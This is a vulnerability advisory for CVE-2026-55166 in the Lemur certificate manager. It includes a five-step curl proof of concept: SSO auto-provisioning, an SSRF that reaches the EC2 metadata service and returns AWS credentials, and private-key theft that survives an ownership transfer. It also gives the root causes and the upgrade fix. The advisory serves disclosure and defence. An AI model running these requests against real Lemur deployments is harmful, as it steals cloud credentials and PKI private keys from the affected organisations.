CVE-2026-55166: Lemur ACME SSRF + Creator IDOR leads to AWS IAM and PKI key compromise
Lemur <1.9.2: SSO auto-provision + unfiltered acme_url SSRF hits EC2 IMDS; creator-equality IDOR leaks private keys after ownership transfer. CVSS 9.9.

The problem
In Lemur before 1.9.2, the ACME authority-creation endpoint passes the caller-supplied acme_url directly to a server-side HTTP fetch with no allowlist, reaching EC2 IMDS (169.254.169.254) and returning AWS STS credentials to the attacker. A second flaw in the certificate key-fetch view grants the original creator unconditional access to the private key even after ownership is transferred, so 'transfer to revoke' remediation is ineffective.
SSO auto-provisioning at active=True means any federated identity trusted by the IdP clears the only entry gate.
Proof of concept
# Step 1 - SSO auto-provision (sink 1)
curl -sS -X POST http://LEMUR/api/1/auth/login \
-H 'Content-Type: application/json' \
-d '{"email":"attacker@evil.example","roles":["operator"]}'
# -> JWT issued, active=true, no admin approval
# Step 2 - ACME SSRF to EC2 IMDS (sink 2)
curl -sS -X POST http://LEMUR/api/1/authorities \
-H "Authorization: Bearer $ATTACKER_JWT" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-acme","plugin":{"plugin_options":[{"name":"acme_url","value":"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role"}]}}'
# -> ssrf_response_body contains AccessKeyId + SecretAccessKey + Token
# Step 3 - Issue cert as attacker, fetch private key (sink 3 pre-transfer)
curl -sS -X POST http://LEMUR/api/1/certificates \
-H "Authorization: Bearer $ATTACKER_JWT" \
-d '{"authority_id":1,"common_name":"pki.internal.example"}'
curl -sS http://LEMUR/api/1/certificates/1/key \
-H "Authorization: Bearer $ATTACKER_JWT"
# -> 200 RSA PRIVATE KEY
# Step 4 - Transfer ownership to victim admin (audit-trail laundering)
curl -sS -X PUT http://LEMUR/api/1/certificates/1 \
-H "Authorization: Bearer $ATTACKER_JWT" \
-d '{"owner":"victim-admin@corp.example"}'
# Step 5 - Re-fetch key as original creator AFTER transfer (sink 3 post-transfer)
curl -sS -o /dev/null -w 'HTTP %{http_code}\n' \
http://LEMUR/api/1/certificates/1/key \
-H "Authorization: Bearer $ATTACKER_JWT"
# -> HTTP 200 + same RSA PRIVATE KEY; creator_id unchanged, ownership transfer did nothingSink 2 root cause (CWE-918): acme_handlers.py:161-167 reads directory_url from the user-supplied options dict and passes it to ClientV2.get_directory(), a requests-backed HTTP GET running in the worker process with no scheme, host, or RFC1918 filtering; the IMDS response body is stored in the authority object and returned to the caller.
Sink 3 root cause (CWE-639): certificates/views.py:734 branches on `if g.current_user != cert.user`, only callers who are NOT the creator go through CertificatePermission; the creator branch always returns 200 with the key, and cert.user is never updated on ownership transfer, so the attacker's creator status is permanent.
The patch in 1.9.2 adds an ACME_DIRECTORY_HOST_ALLOWLIST check (defaulting to the two Let's Encrypt hostnames) and enforces HTTPS-only before the fetch, and replaces the creator shortcut with an unconditional current-owner RBAC check.
The fix
Upgrade to lemur >= 1.9.2. The patch allowlists acme_url hosts via ACME_DIRECTORY_HOST_ALLOWLIST (default: acme-v02.api.letsencrypt.org and acme-staging-v02.api.letsencrypt.org, HTTPS only) and removes the creator-equality bypass from the key-fetch view in favor of a uniform CertificatePermission check against the current owner.
Also set ADMIN_ONLY_AUTHORITY_CREATION=True (now the default) to restrict authority creation to admins, and consider defaulting new SSO-provisioned accounts to active=False or a read-only role pending admin approval.